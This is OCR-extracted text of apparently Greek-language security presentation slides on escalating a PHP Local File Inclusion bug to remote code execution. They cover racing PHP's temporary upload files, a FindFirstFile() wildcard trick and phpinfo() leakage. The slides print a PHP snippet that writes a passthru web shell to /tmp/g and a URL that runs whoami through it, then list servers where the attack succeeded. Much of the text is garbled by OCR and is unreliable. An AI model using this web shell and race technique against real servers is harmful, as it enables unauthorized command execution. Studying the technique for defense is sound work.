Mrmopouue Gpaye va 0dnynBouue o€ EKTEAEDN
kwolka apou Bpouue kamoio LFI (Local File
Inclusion) bug o€ uia 1oTooeAida;
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time window

- HTTP post with file arrives

PHP begins analysis

- PHP creates temp file

- PHP writes data to termp file

PHP closes temp file

.- SCript execution begins

[optional] script moves uploaded file
script execution ends

PHP removes temp files (if any)




FindFirstFile() bug (2007)!!
«OPENFILE myfile<< » > «OPENFILE myfile* » - findfirstfile() (Win API)

Multithread attack... no bug based ;)
Ytox0¢: va kaBuotepnioel tov Web Server peypt va katadépet kdmoto thread va

TIEPEL TO OVOHO TOU TPOCWPLVOU apXELo.

File Edit View History Bookmarks Iodls Help

phpinfo()

H (' @ http://localhost/phpinfo.php P"’"SN.. c \O\IS“ ch | @ @ -
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VS30COMNTOOLS \Program Files (x88)\M|crosoﬁ Visual Studio 9.0\Common7\Tools\
windit |G

PHP Variables

Variable |
REQUESTTUpload'
“POSTTUpload

_FILES["myFile"] Array
{
[name] => text.txt
[type]l => text/plain
[tmp_name] => C:\Windows\Temp\phpS511.tmp
[exrox] => 0 :
[size] => 1é




C:\> Ok, we get the temp, now what...?

<?php
Sc=fopen ('tmp/g', 'w") ;
fwrite ($Sc,

'<?php passthru($ GET["f"]) ;"
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C:\> Any Image?

ile Edit View History Bookmarks Tools Hel —
= mp/g&f=whoami X \+

0/Ifi.php?load=/tmp/g&f=whoami




C \> Some Stats

WAMPx64 v. 2.5 5.5.12

Apache 2.4.9

XAMPP  v.5.6.3
Apache  2.4.10

(winz2)
I1S 7
Apache 2.2.15

Apache 2.2.15
NginX 1.6.1

IIS 10
IIS 7

Emituynpévo
Emituynpevo
Emituynpévo
Emituynpeévo
Emituynpevo

Emtuynuevo
Emituynuevo




C \> Video I/II - attack to CentOS




C:\> Video 11/1I - attack to Windows 10
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